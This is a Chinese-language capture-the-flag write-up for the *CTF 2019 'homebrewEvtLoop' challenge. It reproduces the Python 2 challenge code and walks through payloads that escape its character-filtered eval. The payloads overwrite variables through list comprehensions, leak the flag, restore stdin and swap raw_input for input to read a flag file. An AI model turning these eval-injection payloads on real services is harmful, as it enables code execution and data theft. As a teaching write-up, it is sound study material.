*CTF 2019 homebrewEvtLoop
这个题目第一眼看着和 DDCTF 里面的 homebrew event loop题目很像(名字都很像),为方便测试将 PoW 函数直接 return
#!/usr/bin/python# -*- encoding: utf-8 -*-# written in python 2.7__author__ = 'garzon'
import sysimport hashlibimport random
# private ------------------------------------------------------------def flag(): # flag of stage 1 return '*ctf{JtWCBuYlVN75pb]y8zhJem9GAH1YsUqgMEvQn_P2wd0IDRTaHjZ3i6SQXrxKkL4[FfocO}'
def flag2(): ret = '' # flag of stage 2 # ret = open('flag', 'rb').read() # No more flag for you hackers in stage2! return ret
def switch_safe_mode_factory(): ctx = {'io_pair': [None, None]} def __wrapper(): (ctx['io_pair'], (sys.stdin, sys.stderr)) = ([sys.stdin, sys.stderr], ctx['io_pair']) return __wrapper
def PoW(): #return while True: a = (''.join([chr(random.randint(0, 0xff)) for _ in xrange(2)])).encode('hex') print 'hashlib.sha1(input).hexdigest() == "%s"' % a print '>', input = raw_input() if hashlib.sha1(input).hexdigest()[:4] == a: break print 'invalid PoW, please retry'
# protected ----------------------------------------------------------def fib(a): if a <= 1: return 1 return fib(a-1)+fib(a-2)
# public -------------------------------------------------------------def load_flag_handler(args): global session session['log'] = flag2() return 'done'
def ping_handler(args): return 'pong'
def fib_handler(args): a = int(args[0]) if a > 5 or a < 0: return 'out of range' return str(fib(a))
if __name__ == '__main__': session = {} session['log'] = flag() switch_safe_mode = switch_safe_mode_factory() switch_safe_mode_factory = None valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]')
while True: PoW() print '$', event = raw_input() # get eventName and args from the RPC requests, like: funcName114514arg1114514args2114514arg3 ... switch_safe_mode() if event == 'exit': break
for c in event: if c not in valid_event_chars: print "invalid request" exit(-1)
event, args = event.split('114514') args = args.split('114514')
try: handler = eval(event) print handler(args) #except Exception, e: # print 'exception:', str(e) except: print 'exception'这个题目第一眼看着和 DDCTF 里面的 homebrew event loop题目很像(名字都很像),为方便测试将 PoW 函数直接 return
梳理
先梳理下流程
- 验证码验证,由 sha1 随机生成
- 切换标准输入输出为 None,可再次使用此函数切换回来;在 None 的情况下无法进行下一轮输入
- 使用114514分割 event: str 和 args: list
- event 会被 eval 执行
同时需要注意的地方
- 输入被过滤,只能输入数字、大小写字母、下划线、中括号
- 两个 flag 最后均存在 session[‘log’] 中
- flag2:func 被注释,但指明了需要实现文件读取
整个题目中能控制的就是 event、args,其中 event 会被 eval 处理一遍,一般这里会存在 eval 滥用的情况导致 bypass 执行恶意表达式,但是由于被限制了可输入字符集,所以不能直接使用 eval
但是假如将 event 故意设置为 input 函数呢,input(args)会在终端中返回 args 的字符串内容,比如
$ input114514bug['bug']exception那如果进一步延伸一下,假如可以使得 event->input 以及 args->session[‘log’],那这样输出就为 session[‘log’]中的内容即 flag 了
想到了什么?变量覆盖!
变量覆盖
在 python 中,在 for 循环中很容易发现变量覆盖的影子
>>> i = 0>>> for i in range(2):... pass...>>> i1>>>有时为简化而使用列表生成式
>>> [i for i in range(10)][0, 1, 2, 3, 4, 5, 6, 7, 8, 9]>>>但是这里需要用到空格,需要绕过,既然题目中给了[],那就利用起来
>>> i = 0>>> [[i]for[i]in[[1]]][[1]]>>> i1>>>同时将列表生成式用于返回想要的函数,如目标函数为 input,有
>>> [[input]for[i]in[[1]]][0][<built-in function input>]>>> [[input]for[i]in[[1]]][0][0]<built-in function input>Flag1
由于题目中最终变量为args,目标变量为 session,所以有以下
$ [[input]for[args]in[[session]]][0][0]114514x{'log': '*ctf{JtWCBuYlVN75pb]y8zhJem9GAH1YsUqgMEvQn_P2wd0IDRTaHjZ3i6SQXrxKkL4[FfocO}'}exception$ lost sys.stderr而官方预期解法使用的类似于盲注的技巧
$ session[args[0]][5]in[event[83]][0]and[dir][0]or[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789]114514logexception$ lost sys.stderr
$ session[args[0]][5]in[event[84]][0]and[dir][0]or[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789]114514loglost sys.stderr['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__delslice__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getslice__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__rmul__', '__setattr__', '__setitem__', '__setslice__', '__sizeof__', '__str__', '__subclasshook__', 'append', 'count', 'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort']相当于session['log'][5] in [abc..J..890][35] and dir(),为假报错,为真显示dir()内容
Flag2
由于switch_safe_mode函数导致无法进行多轮输入,所以先考虑如何绕过,这里有两种方法,优先第二种,毕竟第一种方法还要重新算验证码
# 重载 sys 恢复当前标准输入输出,这样ctx['io_pair']以及当前输入输出均正常,切换不影响[[reload][0]for[args]in[[sys]]][0]114514x
# 替换 PoW 为切换函数,可认为负负得正->未修改标准输入输出[[str]for[PoW]in[[switch_safe_mode]]][0]114514x这时候还是要考虑如何实现 load_flag_handler 函数,但是对应的 flag2 函数中的读取代码被注释掉了,如果要使用覆盖到 session[‘log’] 中由于读取函数或多会少都需要用到'符号,只有想办法在过滤前就实现
注意到使用了raw_input函数
Python2.x 中 input() 相等于 eval(raw_input(prompt)),用来获取控制台的输入。Python3.x 中 input() 函数接受一个标准输入数据,返回为 string 类型所以通过替换raw_input为input就可以执行在过滤前后分别执行一次 eval
$ [[str]for[PoW]in[[switch_safe_mode]]for[raw_input]in[[input]]][0]114514xexception相当于
PoW = switch_safe_moderaw_input = inputstr(x)两次 eval 目的为:
- 第一次 eval 读取 flag 到 sessions 中
- 第二次 eval 类似 flag1 中的操作进行输出
$ ['[[str][0]for[args]in[[session]]][0]114514' for session in [open('flag', 'r').read()]][0]*ctf{pYth0n2-f3@tur3_R19ht?}相当于
event = raw_input() # ['[[str][0]for[args]in[[session]]][0]114514' for session in [open('flag', 'r').read()]][0]event = eval(event) # event = '[[str][0]for[args]in[[session]]][0]114514'; session = 'flag...'event, args = event.split('114514')args = args.split('114514')handler = eval(event) # handler = str; args = sessionprint handler(args) # str(session)